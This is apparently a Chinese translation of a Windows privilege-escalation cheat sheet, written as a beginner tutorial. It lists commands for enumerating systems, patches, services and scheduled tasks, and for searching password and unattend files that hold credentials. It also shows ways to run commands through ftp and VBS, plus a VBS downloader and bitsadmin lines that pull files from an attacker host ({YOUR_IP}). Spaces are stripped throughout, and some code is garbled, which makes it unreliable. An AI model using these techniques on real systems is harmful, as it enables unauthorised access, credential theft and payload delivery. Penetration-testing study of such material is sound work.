本文不是渗透测试指南,只是简单介绍Windows内网提权的几个实用命令,供我和其他菜鸟学习观察。包容性指导。1、获取操作系统信息,识别操作系统的名称和版本:C:\Users\thel3l>systeminfo|findstr/B/C:"OSName"/C:"OSVersion"OSName:MicrosoftWindows10ProOSVersion:10.0.14393N/ABuild14393当然是中文系统你getthis:systeminfo|findstr/B/C:"OSname"/C:"OSversion"确定系统架构:C:\Users\thel3l>echo%PROCESSOR_ARCHITECTURE%AMD64查看所有环境变量:C:\Users\thel3l>SETUSERNAME=thel3lUSERPROFILE=C:\Users\thel3l*snip*查看具体用户信息:C:\Users\thel3l>netuserthel3l用户名thel3l*snip*Thecommandcompletedsuccessfully2.获取网络信息,查看路由表信息:C:\Users\thel3l>routeprint查看ARP缓存信息:C:\Users\thel3l>arp-A查看防火墙规则:C:\Users\thel3l>netstat-anoC:\Users\thel3l>netshfirewallshowconfigC:\Users\thel3l>netshfirewallshowstate3。应用和服务信息查看计划任务:C:\Users\thel3l>schtasks/QUERY/foLIST/v中文系统命令,先把GBK编码调成437US编码:chcp437然后schtasks/QUERY/foLIST/v查看服务进程号:C:\Users\thel3l>tasklist/SVC查看安装驱动:C:\Users\thel3l>DRIVERQUERY查看安装程序及版本信息(漏洞利用线索):C:\Users\thel3l>wmicproductlistbrief查看服务、进程和启动程序信息:C:\Users\thel3l>wmicservicelistbriefC:\Users\thel3l>wmicprocesslistbriefC:\Users\thel3l>wmicstartuplistbrief查看.msi程序的执行权限:C:\Users\thel3l>regqueryHKCU\SOFTWARE\Policies\Microsoft\Windows\Installer/vAlwaysInstallElevatedC:\Users\thel3l>regqueryHKLM\SOFTWARE\Policies\Microsoft\Windows\Installer/vAlwaysInstallElevated查看是否设置了setuid和setgid:C:\Users\thel3l>regqueryHKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits查看安装补丁和时间信息:C:\Users\thel3l>wmicqfegetCaption,Description,HotFixID,InstalledOn查看具体漏洞补丁信息:C:\Users\thel3l>wmicqfegetCaption,Description,HotFixID,InstalledOn|findstr/C:"KBxxxxxxx"4.敏感数据和目录查找密码文件或其他敏感文件:C:\Users\thel3l>cd/C:\Users\thel3l>dir/b/spassword.txtC:\Users\thel3l>dir/b/sconfig.*C:\Users\thel3l>findstr/sipassword*.xml*.ini*.txtC:\Users\thel3l>findstr/silogin*.xml*.ini*.txt无人值守安装文件:这些文件通常包含base64方式的密码信息这种类型的文件可以在一些大型企业网络或GHO系统中找到。该文件通常位于:C:\sysprep.infC:\sysprep\sysprep.xmlC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\Panther\Unattended.xml5。文件系统可以通过调用系统预装的程序语言查看当前可访问目录或文件权限,如python:importos;os.system("cmd/c{commandhere}")使用copycon命令创建ftp执行Session:ExampleC:\Users\thel3l>copyconfp.bat#Createabatchfilenamedftp.batftp#输入执行会话的名称,回车到下一行,然后按CTRL+Z完成编辑,然后按EnterExitC:\Users\thel3l>ftp.bat#执行创建的文件ftp>#执行ftp命令ftp>!{command}#e.g.-!diror!ipconfig使用copycon命令创建VBS脚本file:C:\Users\thel3l>copyconcommandExec.vbs#创建VBS脚本文件CallWScript.CreateObject("Wscript.Shell").Run("cmd/K{command}",8,True)#VBS文件内容C:\Users\thel3l>commandExec.vbs#执行脚本文件检查文件夹可写状态:C:\Users\thel3l>dir/a-r-d/s/b6。有用的文件上传脚本'downloadfile.vbs'SetyoursettingsstrFileURL="http://{YOUR_IP}/{FILE_NAME.EXT}"strHDLocation="c:\\{FILE_NAME.EXT}"'FetchthefileSetobjXMLHTTP=CreateObject("MSXML2.XMLHTTP")objXMLHTTP.open"GET",strFileURL,falseobjXMLHTTP.send()IfobjXMLHTTP.Status=200ThenSetobjADOStream=CreateObject("ADODB.Stream")objADOStream.OpenobjADOStream.Type=1'adTypeBinaryobjADOStream.WriteobjXMLHTTP.ResponseBodyobjADOStream.Position=0'SetthestreampositiontothestartSetobjFSO=Createobject("Scripting.FileSystemFFileObject")Ifobj(strHDLocation)ThenobjFSO.DeleteFilestrHDLocationSetobjFSO=NothingobjADOStream.SaveToFilestrHDLocationobjADOStream.CloseSetobjADOStream=NothingEndifSetobjXMLHTTP=Nothing这个脚本是一个社区版本,你可以这样运行它:C:\Users\thel3l>cscript.exedownloadfile.vbsbitsadmin命令:目标系统是Windows7及以上操作系统,可以使用bitsadmin命令,bitsadmin是一个命令行工具,可以用来创建下载和上传进程:例C:\Users\thel3l>bitsadmin/transferjob_name/download/prioritypriorityURLlocal\path\fileC:\Users\thel3l>bitsadmin/transfermydownloadjob/download/prioritynormal^http://{YOUR_IP}/{FILE_NAME.EXT}C:\Users\username\Downloads\{FILE_NAME.EXT}如:bitsadmin/transfernhttp://download。fb.com/file/xx.zipc:\pentest\xx.zip
